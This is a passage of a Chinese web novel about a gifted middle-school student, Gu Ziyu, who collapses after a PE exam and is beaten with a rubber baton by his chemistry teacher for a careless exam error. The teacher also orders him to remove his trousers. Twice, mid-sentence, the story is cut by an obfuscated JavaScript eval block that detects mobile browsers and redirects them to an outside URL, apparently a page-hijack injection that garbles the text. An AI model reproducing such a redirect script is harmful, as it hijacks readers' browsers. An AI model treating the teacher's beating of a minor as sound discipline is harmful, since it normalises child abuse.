《年少天纵》 1. 体育考试 华纳帝国,肃南行省,鹿城八中。 下午三点多钟,顾梓聿和姜明祎来到了学校后操场。 “你说这奇不奇怪,前几天都是乌云密布、阴风直吹的,一说今天下午要体育考试,这天就拨云见日啦?”姜明祎一脸不满地嘟囔道,“耍咱们哪!10°C跑1000米,跑完就摊那了。” “少说两句,省点力气吧,我先过去了。”顾梓聿拍拍姜明祎的肩膀,以示鼓励。说完,他脱下校服外套和卫衣,只剩一件运动T恤,捏着手中那张该死的“体育考试成绩单”,径自朝网球场方向走去。 姜明祎看着顾梓聿的背影摇了摇头:那个地方是考引体向上的,而引体向上的满分是14下,除了体育特招生,全年段男生没几个选引体向上,大部分都选了更易拿分的实心球,后面还要跑一千米呢,不得节省点体力?可顾梓聿偏偏选了前者。不知道阿聿那看起来单薄的身体里怎么蕴藏着那么强大的力量? 今天下午是初三年上学期期末市质检的最后一场战役——体育,占了二十分。 偏偏今年开始,男生必考项目由100米短跑改成了1000米长跑,这对擅长爆发力却耐力不足的顾梓聿来说,无疑是巨大的挑战。屋漏偏逢连夜雨,近来接连不断的各种竞赛和演出任务把他拖得精疲力竭,饮食和作息彻底被打乱,已经许久不犯的胃病也被勾了起来。 跳远和引体向上都考完了,顾梓聿都拿了满分。让他有点不爽的是,引体向上自己没有记清次数,明明已经满分了还在继续做,只是因为那个监考老师想看看他的极限而没有喊停,搞得自己浪费体力,实在郁闷。 休息了五分钟,一千米就轮到一班了。顾梓聿扫了一眼姜明祎的成绩单。 跳远,2米23,满分;实心球,8米9,满分。 “不错。”他抬头一笑,眼神格外明亮。 姜明祎挑眉,语气里带着些得意:“孔邵东之前还劝我,说‘哎呀明祎,你细胳膊细腿的怎么投实心球啊?哎呀我告诉你,个子高扔实心球没什么优势的,啊?哎呀篮球和实心球可差远了啊,不是一国的!’结果你猜怎么着?我球刚出手,还没落地呢,他就喊,‘满分!’” 顾梓聿忍不住笑了一下:“不愧是物理老师,抛物线方程,一看就知道有没有。” 他边说着,边一起把两人的成绩单交到班主任陈老师手里。 站上起跑线,顾梓聿深吸一口气,调整一下心跳,试图将所有额外的情绪都吐出身体,将怦怦作响的心跳控制在平稳的节奏。为了抑制紧张,他下意识攥紧了双拳,稍稍一走神,脑海里浮现出顾仲景的身影——他这些天出差,还没说什么时候回来。 “预备,跑!” 体育老师一声暴喝,全班男生都猛地冲了出去。顾梓聿迅速调整步伐,保持在第一梯队的最后一名。他计划保持这个节奏,等到第三圈的最后200米再冲刺。 领跑的是张铎,人高高瘦瘦的,眼神沉稳。他是为数不多报考引体向上的男生之一,并且轻松拿了满分。 张铎是一班的班长,也是和顾梓聿同在信息学竞赛组一起备战的战友。他们之间关系算不上是最亲近的,但顾梓聿还是很欣赏他:同学近三年,令顾梓聿印象最深的其实是他身上那股君子风度和担当,这也是在学生之中,张铎能隐隐成为领袖的原因。 第一圈顾梓聿跑得还算轻松,然而刚进入第二圈,他的胃突然开始一跳一跳地抽痛,后心出了一片虚汗,而身后,也有人渐渐地追了上来。 只差一个身位!身后那人沉重的脚步声、粗重的喘息声,给他带来了精神上的莫大压力。 心跳得越发快了。 “1分50秒!”顾梓聿听到报时,不由得心底一沉:比预计用时已经慢了10秒?! 速度偏慢,再不加速,恐怕跑不到满分。 强烈的压迫感打乱了顾梓聿心底的节奏。他能感觉到自己的呼吸渐渐紊乱,于是干脆不管不顾地提前开始加速。 必须再快一点、再快一点…… 可不知为什么,双腿仿佛不听使唤,愈加地慢了下来,张铎和明祎的身影仿佛已经在很远很远以外了。 但此刻,顾梓聿的思维却前所未有的清晰,胃部的抽痛似乎已经不再能够影响他的意志了。他用力咬住右手食指指节,却感受不到疼痛。他抑制不住心脏的狂跳,奋力向前冲,耳边只有呼呼的风声,他的眼里除了终点,还有一种令人感到战栗的光芒—我答应过自己,要拿满分! “五号,三分二十四秒!” 三分二十四秒,满分。 慢慢停下脚步,那种脑部缺氧眼前一片片发黑的感觉令顾梓聿下意识咬住下唇: 他咬牙努力迈动着发软的双腿,装作若无其事地从跑道上下来,胃部和右手指节上传来的阵阵剧痛,不断地提醒他刚才咬手指的行为有多么鲁莽和愚蠢——果然以痛止痛的方法无异于饮鸩止渴——痛死啦。 他的太阳穴突突直跳,急促、沉重,敲得他耳朵嗡嗡作响,耳鸣的嗡声在脑子里盘旋不去,每吸进的一口气都像是灌了一嘴冰渣,喉咙干涩得发痛,连呼吸都变得腥甜。 ——没事的,过一会儿就好。 模糊的意识中勉强理出几个关键数字—— 体育他已经拿到了20分,作文……普通水平,国文怎么也得上95分吧。 索伦语题目简单,145以上问题不大。 数学……检查了两遍,大题步骤完整,如果老师给分不抠的那么紧,满分有可能。 政治赋分至少能有19分,物理那两道不确定的题,大概扣3.6分…… 化学。 顾梓聿的眼神微微一滞,胃里像是被什么东西轻轻一拧。 和平常程琤出的卷子截然相反,程琤的手法是一贯的强势霸气,出得奇难无比,这市质检的卷子倒是出的四平八稳,没有刁钻的偏题,也没有竞赛级的复杂推导,估计大家都能考得不错。 这样算算,除去化学,自己其他科真的发挥的还可以,只可恨自己一时疏忽,犯了低级错误,填错答题卡。估计这一次化学成绩出来,会被落下20几分。 ……这次考试,铁定拿不到第一名了。 他现在完全能够想象出程琤边拍桌子边骂的情形,诸如“这个小子怎么答得卷子?脑子去哪了”之类的话,想到这,顾梓聿不禁暗暗地担心程琤的“暴力手段”。 一瞬间,后心一阵阵地发凉。过了一会他才意识到那其实是汗透了衣服,被风吹凉的。接着又联想到正是因为风大,所以汗液蒸发加快,因此就吸收了大量的热量……哎呀,都是什么乱七八糟的想法! 脑中不受控制地转过这许多个纷繁复杂的念头,不过只是几秒钟的事。 他闭了闭眼,强迫自己不去在意。只是站直时,后颈蓦地窜上一阵冷意,像有什么东西顺着脊椎狠狠爬上去,钻进头骨深处,带起一阵尖锐的刺痛。他下意识伸手按了按太阳穴,想借此缓解,可指尖刚碰上额角,触感却比想象中更烫。 糟糕…… 耳边的风声似乎被抽离了,世界变得有些遥远。他知道自己的身体已经超负荷,暗自调控呼吸,努力维持平稳的步伐,拼命抑制住想摔倒的冲动,于无人处抵住凹凸不平的石墙根,弯下腰低低短促地吸了一口凉气—— 身后,姜明祎看着他略略弯下腰的身影,心下微微紧了紧。 从小到大,阿聿就是这样的人。自尊心强,又好面子,撑不住了还要死撑。1000米考完,每个人下来不都是瘫得像一团泥,直接一屁股坐在草地上,拉也拉不起来。自己体力分配合理,情况尚可,可也差点忍不住跪倒在地。可顾梓聿呢?他是刚做完引体向上、体力严重透支的人,却还能稳稳走下来,看上去像是还能再跑一轮。 别人也许不知情,他却是知道的。就在中午,这家伙才刚吃了胃药! 他没走过去戳破他苦苦伪装的云淡风轻,只是默默地找出自己带的热水壶,又捏了捏手心里的一袋冲剂,想等合适的时机递给他。 此时的顾梓聿并不知道姜明祎在担心他。他套上卫衣,又紧紧裹上校服外套,后悔地看着自己凄慘的带着紫红色牙痕的手指,勾起了一个半是自嘲半是无奈的笑。 “……” 他抬眼看到不远处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266182|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化学科代表张瑾妤朝他走过来,连忙把右手塞进裤兜里,免得被这个冰雪聪明到妖孽的女孩发现自己的狠狈情形,沦为笑柄。 张瑾妤有着一头又长又直的乌发,梳成高高的马尾利落地垂在脑后;一双如秋水般沉静的眸子,隐藏在一副金边眼镜后面,配上鹅蛋脸、柳叶眉,秀气柔美而具有一种古典美。 初见她的人,或许会以为她是一个温柔娴静、甚至有些柔弱的女孩,实则不然。跟她做过多年同桌的顾梓聿知道那都只是表象。她狡黠聪慧,最爱逗弄他,看他吃瘪时便会忍不住扑哧偷笑。她一激动起来,声调便会陡然拔高,语速又快,偏偏声音又清亮悦耳,带着无限的活力。 顾梓聿至今还记得,在初一的班级才艺大赛上,张瑾妤在全场瞩目下落落大方地演奏了一曲《高山流水》,技惊四座。 除却精湛的琴艺和姣好的外形,她亦是个有才情,有思想的女生。 受邀而来的校友——帝国中央音乐学院首屈一指的古筝大师王金老先生,兴致勃勃想要当场收她为封山之徒,她却一脸淡然地婉拒了老先生的好意,出人意表地说道:“瑾妤先谢过老先生的厚爱,实在抱歉,这件事,瑾妤万万不敢应下,还请老先生见谅。” 这话一出口,场内便炸开了锅——拒绝这样无数人梦寐以求的机会,太狂妄了吧! 张瑾妤脸上毫无异色,只是从容地说出心里话。她说自己并非不懂这个机会的分量,但她很清楚自己在做什么,也很清楚自己想要什么。古筝对于她来说只是业余爱好,是学习之余的消遣。她的人生并不止于此,毕竟她拥有的是更广阔的一片天地。 寥寥数语震得在座诸人半晌无话。 之后还是王老先生佯装不满说了一句:“怎么,我这老头子就这么让人嫌弃吗?”张瑾妤抬起头来,却是一脸担忧的模样,话音刚落,他却忽然开怀大笑起来:“好,好!有这样一个特立独行的小丫头做徒弟,我老头子老怀大慰啊!”说罢便不由分说地当场认了她做徒弟,并没有要求她放弃学业走专业道路,只是约定她每月飞一次申城接受指导。 话都说到这份上,张瑾好自然没什么可说的了,只是又奏了一曲《春江花月夜》作为答谢,尽显大气风范。此事一时也被传为佳话。私底下还有人说老头子可喜欢张瑾好那性子了,说是和他年轻时一摸一样。不仅将毕生绝学倾囊相授,且还把自己最珍视的一架敦煌的老琴送给了她,不过这些都是后话了。 顾梓聿看着略低自己半头的张瑾好,仿佛可以闻到她头发上那淡淡的洗发水的幽香。刚有这个念头,他就感觉耳根烧了起来,忙别开头去,温声问道:“找我有什么事?” 张瑾妤抬起头来,却是一脸担忧的模样,低声道:“刚才程琤在操场那头看见我,让我传话——限你三分钟到办公室。” 三分钟? 顾梓聿神色微敛,下意识计算着教学楼的距离、楼梯的级数、以及自己的体力状况——到教学楼有百级台阶,教师办公室在五楼,学生又不许乘坐电梯……有一瞬间他觉得自己好渺小:别说三分钟,能不能六分钟内到达都是问题。 张瑾妤看着他,目光停留在他稍显僵硬的站姿上,若有所思地顿了顿,补充了一句:“他好像心情不太好。” 这句话听上去平平无奇,却让顾梓聿的后背更冷了一分。 有什么事不能在操场上说,非要到办公室去? 顾梓聿心底一沉,不确定是否是市质检没考好的缘故,他眨了眨眼睛,已经做了最坏的打算,甩开一切顾虑决定还是赶快去的好,免得火上浇油。 他甩开一切杂念,咬牙迈步,尽量让自己的步伐看起来依旧沉稳。但在经过张瑾妤身侧时,她忽然开口—— “对了。” 顾梓聿微顿,转头看她。 “你知道吗?”她的语气像是在随意聊天,可眼神却隐隐带着某种担忧,“……陈辰回来了。” 心脏像是被什么东西猛然攥住,耳边的风声变得极其遥远。 陈辰…… 那个混小子,真的回来了? 顾梓聿突然之间觉得唇齿之间一片发干,眼圈发热。 2. 老师有请 顾梓聿站在办公室门口,浑身微微发抖,半个身子倚在墙边,也不管衣服会被蹭成什么样,只生怕控制不住自己双腿一软就跪倒在门前。办公室内,正面壁罚站的那道熟悉身影映在玻璃窗上,微微晃动着,让他生出一丝恍惚。 还没等他回过神来,那扇门突然以迅雷不及掩耳之势猛然打开,一只手毫不怜惜地揪住他的衣领,狠狠地将他拖了进去。 猝不及防之下,顾梓聿失去了平衡,他眼疾手快地伸手一挡,正好结结实实撞上程琤办公桌的棱角,他只觉得自己的小臂骨头都要被撞碎了,疼得几乎说不出话来。 终于,顾梓聿脑中的神经在这一刻“咔嚓”一声绷断,他的意志再不能控制脆弱的躯壳,膝盖生生磕在坚硬的大理石地面上。 室内一片死寂。 一声闷响令陈辰回过神来,他不用回头都知道背后是怎样一副惨状。可他依旧是回了头,并伴随着被压抑在喉间的惊呼——出现在陈辰面前的顾梓聿,永远是一副从容的模样。无论是面对考验、挑衅抑或恶意的刁难,他都因自信而显得强势,因自信而显得从容,却独独没有如此落魄的时候! 他的脸色苍白,唇色也白得吓人,他的头发湿漉漉的,光洁的前额和挺拔的鼻尖上此时都沁满了密密麻麻的汗珠,汗落在地上,晕开了深深浅浅的水渍。这已经完全颠覆了他的印象。 还在为顾梓聿担心的陈辰突然回过神来:他为什么要在意?他因为顾梓聿而吃的苦头还不够多吗?! 而对于顾梓聿来说,他亦失去了思考的能力。这“短短的几步路”对他来说来,不啻于又一次的1000米测验,不,或许还不止。天知道,只是这简单的抬腿、用力站稳、再抬腿,对他来说是多大的折磨。就算用尽了全力,他也拖了十多分钟的时间——这足以证明他太高估自己了! 想到这一点,一种颓然之感顿时向他席卷而来:考砸后的失落,得知程琤发火的心惊胆战,赶到办公室的艰辛,被师长粗暴对待的委屈,被旁人看到这一切的难堪,种种情绪如小兽般撕咬着他的理智。瞬间,不争气的泪水就充盈了整个眼眶,眼前的世界瞬间变得模糊起来。 他意识到这一点,连忙猛眨眼睛,想要把那代表懦弱的水汽眨掉。他刚用力站起来,右膝却传来了一阵钻心的疼痛,他一时间没站稳,又跌回地上。 一句尖锐刻薄的挖苦响起:“地上凉快吗?顾大少爷。” 这句话让顾梓聿心下一冷:他不知道自己到底哪里做错了,值得眼前这亦师亦友的人这样阴阳怪气。 程琤负手而立,逆光而站,冷冷地看着他。 “别坐着了,快起来吧。地上凉,久坐伤身啊,高材生。” 这看似关心实则嘲讽的一句话成功地让顾梓聿全身的血都冲到了脑门上,他涨红着脸,清楚地感到自己的耳根正在发烫,一言不发,慢慢支撑着自己站了起来。 陈辰已经走到了墙角根,尽量减弱自己的存在感,尽管面上是在面壁反省,一双耳朵却竖得尖尖的,好奇而带有一点点恶意地,收听这名师与高徒呛声的好戏。 “我好像记得,刚刚给你的时限是三分钟?” 果然要提到这事了。 顾梓聿脸色苍白,却依旧稳稳地迎上他的视线:“是,程老师。” “这三分钟,实在是……有点长。老师我最不喜欢不守时的学生了。”程琤意味不明地笑了笑,突然转头看向一旁面壁的陈辰,“你说,该怎么罚他才好?” 程琤不按常理出牌地把矛头指向了陈辰。 陈辰愣了一愣,随即尴尬地轻咳一声:“您是老师,这事自然是您看着办了。” 顾梓聿微不可察地松了口气:或许潜意识里,他还是把陈辰当作是当年那个跟在他身后随处乱跑的小屁孩,并不习惯让他来主宰自己的命运罢。 程琤轻哂一声,接着却又冷声对顾梓聿说道:“好了,高材生,我们现在来讨论讨论你的问题。” 他从桌子上拿起一叠卷子,一扬手就往顾梓聿脸上抽去。 顾梓聿被这劈头盖脸的一下砸懵了,只觉得脸上被什么东西划过,等回过神来时,只能一张张从地上捡卷子。 等他仔细一看,心倒是沉了下来——果然……是填涂错误,难怪程琤会发火,他这回死的不冤。 自从有了填涂卡,哪一次老师不是千叮咛万嘱咐,千万要审清填涂顺序再下笔?明明是最基础的注意事项,他却在这样的大考出纰漏,这次选择题本该全对,如今却要丢掉所有分数……更可笑的是,这一次难得一向不稳的实验题都拿了满分。 要是当时的自己能再细心检查几遍,说不定总分就有拿满分的可能了,也难怪程琤他发这么大的火。总而言之,这一次的蠢事是他自己做下的,后果他只能承担,别无他法。 想清楚了这些,顾梓聿心神清明地杵在那,等待发落。 而那边程琤还不解气,冷冷盯着他,手掌攥紧又松开,他想狠狠地扇顾梓聿一巴掌,又怕出了门后让他难堪,只得化掌为拳砸在桌面上。他之前从未担心过他这个得意门生马失前蹄,而这一次实在令他气昏了头。他从未想过,自己会因这小子失分而气到失控。他本不该生气的……可他气得快疯了。 眼前的场景仿佛被拉成了一帧一帧的慢镜头,如无声电影般播放着,冷寂得让人窒息。陈辰倚在墙角,目光掠过那对师徒,禁不住想到了小说里的句子,“室内的气氛十分凝重,似乎空气都不再流动了,就像是一碗逐渐凝固的奶冻,令人喘不过气来。” 陈辰的脸隐谧在墙角的阴影里,恶意被理所当然地忽略掉。 怎么说,能看到平日里意气风发、却总是端着淡然的架子的顾梓聿,流露出这番垂头丧气的模样,实在值啊。 顾梓聿,你也有今天。 好戏还在后头呢。 “还有这个,你自己看看。” 低沉的声音带着极力压抑的怒气,程琤的手狠狠一抖,卷子砸在桌上,纸张发出清脆的声响。他试图忍耐,忍得狠了,到底还是压制不住翻涌的怒火,猛地一拍桌子,怒吼道:“顾梓聿,你就这个出息!口口声声说没问题,你看看,就这一张卷子,你有脸说你是我程琤的学生?我都没脸跟校领导交代!你这一年书读到哪里去了?粪坑里了是吧?就你这样还想进国家队?妄想!” 只有最后这一句话,陈辰才真正听进了脑子里。他懵了一下,气血翻涌。 顾梓聿敛目接过卷子,只扫了一眼,看到那几题自己预料之中的错题,只惨然一笑就抬起头,坦然开口:“老师,我能答到这种程度,已经问心无愧了。” “问心无愧?”程琤怒极反笑,猛地攥住顾梓聿的手臂,狠狠一拽,顺势将他按在办公桌上,顺手抄起桌上放着的黑色橡胶短棍,手腕翻转,往男孩身上抽去。 刚听到身后的风声凛冽,顾梓聿就知道这顿打是逃不了的了。忽略掉腹下被粗鲁撞击的的疼痛,他绷紧了身子,闭上双眼。安静地等着第一棍的落下。他咽了咽口水,有些悲哀地想到:一直以来都只听说过程琤体罚学生的威名,今天算不算是自己吃螃蟹的日子? 第一棍挟着虎虎风声和程琤的熊熊火气毫不留情地落在了顾梓聿身上,剧烈的疼痛瞬间炸裂开来,一声短促而凄惨的低呼抑制不住地从他喉咙里逸出。显然,他低估了这橡胶棒的威力,也高估了自己的承受力。橡胶棒弹性奇佳,这一记下去,撕裂一般的疼痛瞬间贯穿了他的全身。 不是没有被教训过,比这更狠的也有,只是已经很久没有像现在这一次这样,令他整个胸腔都酸痛起来。 他知道,其实自己真正考不好的是市质检,竞赛的事只是程琤的迁怒而已。他的心跳的很快,很剧烈。他不断地说服自己——你的确错了,在市质检这样的大考犯下如此愚蠢的错误,怎么也说不过去。可是再怎么样,他也无法控制酸胀的泪腺不分泌出委屈的液体。 他记不清自己有多少个日日夜夜,埋头在无尽的试题里。偶尔疲倦地起身,给自己泡一杯热气腾腾的柚子茶,或者是一杯冰凉的酸奶,倚在落地的玻璃窗前看几分钟灯红酒绿的世界,又回到书桌前。 总是有一堆的书要看,物理的竞赛试卷,厚厚的足有四百多页的信息学竞赛教材,更不用提数学了,他却总是能笑着说服自己静下心来读化学。下课抓紧分分秒秒,上索伦语课时抢着写数学,傍晚有时姜明祎他们约着自己去打篮球,也不得不遗憾地推掉。 这真是自己想要的生活吗? 最开始学竞赛的时候,他就只选了数竞和信竞,而兼顾这两项已经不轻省了。后来学校需要物理尖子,他也有余力,也就去了。但他是如何,在已经如此繁忙的日常中,再加入化学竞赛的呢?班主任也曾劝他取消一些学习任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266183|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务来保证休息时间,他却笑笑地拒绝了。不知道为什么,那天第一眼看到程琤,听到他在讲台上意气风发地讲化学、讲竞赛,他就心向往之了。 不是不想休息,不是没有倦怠,只是贪恋他给自己讲题,给他们每天下午开小课的温馨。他总觉得程琤像一个哥哥,贴补了他那些无人关照的空隙,相处的每一个时刻都在教他为人处世的道理。 于是他推掉了最擅长的物理。没有了竞赛课的时间,他只能把那些糟心的物理卷子在每个深夜自己消化掉。其中的纠结,坚持下来要多大的勇气?他不知道,但他坚持了两年。 程琤看着将头深深低下的顾梓聿,心情实在糟透了。他不是虐待狂,施与疼痛不会给他带来快乐。更何况,他知道自己下手有多重,可这小子就是太骄傲,表面上听话,实际上脖子硬的跟头倔驴一样!这次栽到他手里,自己非得打服他不可。于是手里橡胶棍一转,暗自又加重了力道。 “啪——!” 这一次,顾梓聿的头猛地挣起,颈部拉成了一个痛苦的弧度,他像垂死的鱼,挣扎着大口大口地喘息,外套的黑色校服隐隐透出水渍。 静默中,角落里,陈辰听着不远处正沉默地发生的一切,垂眸漫不经心地挽起袖子,露出手臂上一道道惊心怵目的可怖疤痕,漂亮的浅咖啡色的双瞳里,闪烁着意味不明的光芒。 “你还有什么话说?”橡胶棒抵在顾梓聿的伤处,似乎随时会再度落下。 感觉到身后两道檩子火辣辣地飞速肿胀起来,顾梓聿深吸了一口气,强自镇静下来,才开口说话。 “程老师,市质检的成绩,我的确……无话可说。” 他顿了顿,撑起身子看向程琤,黑白分明的眼底,是藏不住的骄傲与倔强。 “……但竞赛一事,我已经全力以赴。而且——” “我相信,初中生中没有人能比我考得更好!” 若说前面半句话还含着些认错的诚心,后面这句话就是十成十的自傲了。 陈辰低下头,盯着自己的脚尖,心下诧异:什么叫“初中生中没有人能比他考得更好”? 室内静了半瞬,程琤想起自己得知顾梓聿得奖的欣喜和过后的惊悸,隐含怒气的声音又再度响起:“原来,你还在怪我替你申报了高中联赛的资格?” “不错,叫你一个初中生去和一群高中生竞赛,确实是有点难为你。你是不是这么想的?” 顾梓聿的喉结轻轻滚动,像是下意识地想否认,可片刻后,他终究低声委屈道:“……嗯。” “可我还记得,某人曾经信誓旦旦地跟我说,自己有能力,也有信心应对更高水平的测试。” 顾梓聿的脸色微微发白,嘴唇微张,想要争辩,却最终沉默。 “你是不是想说,这种成绩在高中生中也算是佼佼者了。错了的那几题只是没有接触到的新知识、新架构,不应该这样小题大做,是不是?你还想说整张卷子里有大学的化学知识,作为一个初中生,你还没必要掌握这么多,对不对?你就仅仅满足于一个国家二等奖?” 国家二等奖?!陈辰的拳头猛然攥紧。 “老师…”顾梓聿强压下心头那阵得知获奖的惊喜,“有奖..已经很好了吧?” 毕竟国家一等奖只有十个。 日子还长着呢,如果程琤不满意,他至少还有高一和高二两次机会。 “你知道一等奖第七名是谁吗?” 程琤目光犀利,语气冷冽。 “是一个刚从索伦共和国转学过来、寄读在外国语中学的女生,人家比你小一岁,就已经拿到一等奖了。” 顾梓聿这时惊得直起了身子,不顾身后被抽动的伤痛,不敢置信地抬头望着程琤。 “你还觉得自己很优秀?” 程琤冷冷地睨着他,一字一句敲碎他的骄傲:“井底之蛙了吧?你以为就你一个人是天才?是,今年高中部成绩不理想,你是本校成绩最好的,可你别忘了那是因为蔡佳斌没有参加!没学的知识你不懂预习吗?不懂就拿来问我啊!我特意从高中部下来不是为了教这些小儿科你明不明白?!” 沉默。 一串连珠炮似地话语轰击得顾梓聿体无完肤。 他输了。 彻彻底底地,输了。 他以为自己已经足够努力,可是这点努力,远远不够。 3. 责之切 办公室壁上的时钟滴答滴答地走着,如今已过五点了。冬天的夜晚总是来的格外快,白昼的余辉转瞬即逝,天色彻底阴沉。狂风从操场上呼啸而来,穿过小树林。树叶相互碰击发出的瑟瑟声响和着风尾扫过玻璃窗的声音,显得格外萧瑟。 “你觉得,我是更生气,还是失望多些?” 这个问题比疼痛更让顾梓聿无所适从。 程琤等着,像是有着无尽的耐心。 顾梓聿的心跳有些乱,他想解释,却又觉得无论怎么说,都无法改变眼前既定的事实。 他咬了咬牙,最终还是开口,声音低哑:“……对不起。” 程琤的目光在他脸上停留片刻,像是在审视,又像是在确认什么。 “态度还算诚恳。” “可惜,光有态度还不够。” 顾梓聿的指尖彻底冰凉。他知道这是什么意思。 也不知他心中天人交战了多久,终于低头,涩声道: “要打要罚,我都心甘情愿……市质检和竞赛,我都认。” 这一句话,要说出口,重若千钧。但顾仲景教他,错了就要认。 “做错了事,受了惩罚还不够,最重要的是记住教训。”他还记得这是顾仲景在罚他的时候说的。当时的他,身上满是伤痕,身下的床单被苦苦煎熬的他揪成一团。他在朦胧泪眼中,明白了无论何时,当你发现自己做错了,就要竭尽所能去弥补。动作要快! 不要为错误和失败找借口!他暗暗告诫自己:没有人会去可怜你之前流过的汗水,人们只会看见结果!结果不尽如人意,那就是你自己做的还不够好! 可是市质检的乌龙真的是因为自己的骄傲自满吗?竞赛止步于国二真该归咎于自己固步自封吗? 他眼前恍惚又出现了初二期末考完的那个暑假。家旁边的体育中心、人头攒动的街头篮球场里响着令人心痒的“砰砰”声,他却要每天都骑车到学校上竞赛课。 每天早晨踏入学校大门,映入眼帘的便是“诚勤毅信”四个大字。石阶两旁青葱的灌木丛,绿看石阶的苔痕,掩映在石门背后的垂藤,正散发着潮湿的嫩草芬芳的微腥的泥土气息,竞赛教室里斑驳剥落的墙皮,垂垂老矣的电风扇吱呀吱呀的声音,被鞋底磨得光滑的木讲台,程琤耐心讲解的声音,一幕幕记忆深处的画面,闪现在眼前。 承认了这些错误,也就意味着他在这一刻全盘否定了过去那个自己,否定了自己过去一年的辛勤。 这真的是我应得的吗?顾梓聿迷茫了。 程琤默然看着这番挣扎,想起第一次见到顾梓聿时,讲台下一群或顽皮,或机敏的孩子中,他第一眼就看到了顾梓聿,淡而矜持的微笑背后是不容置疑的傲气。他当时只是笑了笑,没想到在越来越多的接触中,他发现原来傲气的小子有傲气的资本。他太想要把这个傲气的小子磨练成更好的模样,但如今,他心中也生出几分不忍:亲手把小孩骄傲打碎的感觉也不太好。 他转身,对陈辰轻描淡写地说:“怎么样?站了这几个钟头,累吗?看你也不像累的样子,抠肩塌背的,象什么样子!” “自然比他像样子。”陈辰夸张地挺了挺胸,嘟囔了一句,却有意让其他两人都听清楚。 顾梓聿脸一白。 “说什么呢!”程琤脸一板,“虽然说有医生出具的诊断证明,证明你这一段时间确实是生病在家,可是你之前逃的那几节课可是跟生病无关吧?不给你记处分,现在还这样的油嘴滑舌,看来三个小时站得还不够!你小心着点,这次返校考试虽说是过了,可如果接下来的课你不用心,那也就别回来上课了,听明白了吗?” 三个小时?顾梓聿的心猛揪了一下。 “明白。”陈辰耸耸肩,弯腰拿起一旁的包,腿确实是麻了,这么一低头,眼冒金星,差点跌倒。 顾梓聿关心的眼神投来,陈辰满不在乎地扬长而去。 别担心,我只是站太久站麻了腿。顾大少爷,你还是替自己考虑一下吧。 “拉了窗帘再走。”程琤冷不丁冒出一句。顾梓聿的心却是实实在在地颤了一下。他知道接下来等待他的会是什么了,手忍不住发凉,可一想,这也是他自己选择的。 “陈辰走了。”程琤话里有话地提点到。 顾梓聿深吸一口气:该来的总是会来!他这样安抚自己。 他走到墙边,双手撑在墙上,头则死死地抵住墙面。 程琤略带一丝兴味地望着顾梓聿挺拔的背影,笑了笑:在他手下受责的尖子多了去了,没有一个像顾梓聿一样对即将到来的惩罚如此坦然,不跟自己讨价还价的。趴桌子上明显比撑在墙上舒服,而且也不易受伤,就是姿势有些羞耻。顾梓聿就是顾梓聿啊,有些骄傲是打不碎的。 他悠悠然开了口:“既然是诚心认错,那就得按我的规矩来。裤子脱了。” 顾梓聿愣住,不敢置信地回头望着程琤,几乎想要摔门而走,但他不敢这样做,也不能这样做! 他半倚在墙壁上,强撑着自己的身子,轻轻讨饶:“…哥,饶了我这回吧。” 程琤的心底忽然什么抽动了一下。他想起来,那日开完会,同事们拿他少年时的照片开玩笑,说是程顾二人长得有些相像,说到热闹处时,碰巧进来交作业的顾梓聿听到了这议论,嘴角带着笑,大大方方的作揖道:“大哥。”自己当时也只得尴尬地扶他起来,受了这一声。 原以为只是玩笑,现在看来,这孩子竟像是当真了。 “听好,”程琤语气严肃,“脱,这是我程琤立的规矩。不脱,可以,从这里滚出去。” 他抱手立在原地,好整以暇地看着顾梓聿慢慢站直身子。 静默片刻,顾梓聿颤抖着双手,修长的手指解开校裤的扣子,他紧紧攥着裤腰带,一闭眼,狠心将裤子褪到底。幸好,身上还有一条薄薄的棉质底裤,不至于那样丢脸。 就当是在家里吧。在顾仲景面前挨罚的时候,规矩不也是一样吗?他既然心里承认程琤做他的老师甚至兄长,教导,约束和管教也就因此而合理了。 程琤暗自惊讶于顾梓聿的服从,表面上却仍淡然的道:“我的规矩很多,挨打时不准咬唇,也不准咬牙,不然会咬到舌头;可以喊,也可以咬衣服;不许乱动,否则要翻倍。你确定你要这样站着?待会儿会捱得很辛苦啊。” 顾梓聿沉默地摇了摇头,没有作答。 程琤便扬起第一棍抽了下去。 桯琤有力的臂弯使棍子挥成了一个优美的弧,裹挟着阵阵风声的橡胶棒狠狠地砸在了顾梓聿的身上,他倒吸一口冷气,手指死死地扣住了墙面,于是一些石灰粉飘了下来。程琤装作没有看到顾梓聿的小动作,冷声说道: “市质检的事,记下十记教训,你要好好记住这次教训,基础知识不可马虎,不可好高骛远,不可眼高手低,踏踏实实才是学习的正道。明白了吗?” “明白。”顾梓聿声音低哑,心中苦笑:课内知识自己向来是极重视的,顾仲景也对他说过,搞竞赛搞竞赛,不可本末倒置。这回可好,马失前蹄,平白背了个黑锅,等过了眼前这一关,顾仲景那关还不知该怎么办呢。 “把我说的话重复十遍。” “…是。” 顺着话音,第二记再次重重落下。顾梓聿攥紧双拳撑在墙上,只觉得身后的四道伤在此起彼伏的喊痛,他全身的肌肉都在叫嚣。细细密密冒出的汗水把肿胀的伤蛰得生疼。已经破皮了罢?橡胶棒果然威力无穷!他哀哀地想。 接着第三记落下,顾梓聿忍住痛,声音已近颤抖:“基础知识不可……马虎,不可……好高骛远……” 第四记。 ”..基础知识?.不可..马虎.不可..好高..骛远不可.眼高手低…..踏踏实实才是?..正道..” 